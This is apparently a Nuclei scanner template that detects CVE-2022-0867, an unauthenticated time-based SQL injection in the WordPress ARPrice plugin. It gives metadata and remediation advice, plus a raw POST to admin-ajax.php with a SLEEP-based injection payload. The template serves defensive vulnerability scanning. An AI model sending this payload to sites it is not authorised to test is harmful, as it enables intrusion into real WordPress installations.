id: CVE-2022-0867

info:
  name: WordPress ARPrice <3.6.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress ARPrice plugin prior to 3.6.1 contains a SQL injection vulnerability. It fails to properly sanitize and escape user supplied POST data before being inserted in an SQL statement and executed via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Update to the latest version of ARPrice plugin (3.6.1) or apply the vendor-provided patch.
  reference:
    - https://wpscan.com/vulnerability/62803aae-9896-410b-9398-3497a838e494
    - https://wordpress.org/plugins/arprice-responsive-pricing-table/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0867
    - https://github.com/20142995/sectool
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0867
    cwe-id: CWE-89
    epss-score: 0.09183
    epss-percentile: 0.9451
    cpe: cpe:2.3:a:reputeinfosystems:pricing_table:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: reputeinfosystems
    product: pricing_table
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,unauth,wp,wordpress,wp-plugin,arprice-responsive-pricing-table,sqli,wpscan,reputeinfosystems

http:
  - raw:
      - |
        @timeout: 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=arplite_insert_plan_id&arp_plan_id=x&arp_template_id=1+AND+(SELECT+8948+FROM+(SELECT(SLEEP(6)))iIic)
      - |
        GET /wp-content/plugins/arprice-responsive-pricing-table/js/arprice.js HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=6'
          - 'status_code_1 == 200'
          - 'contains(content_type_1, "text/html")'
          - 'contains(body_2, "ArpPriceTable")'
        condition: and
# digest: 4a0a00473045022100edd60e4ca3040c5a93f338f4e565a1de45dc1bb7ecfe8e91a71d6c8389eca90802204723ca8834f83a61672cf3f4fcad5dd6c2e41b909cd231858cfe402a730fa3a1:922c64590222798bb761d5b6d8e72950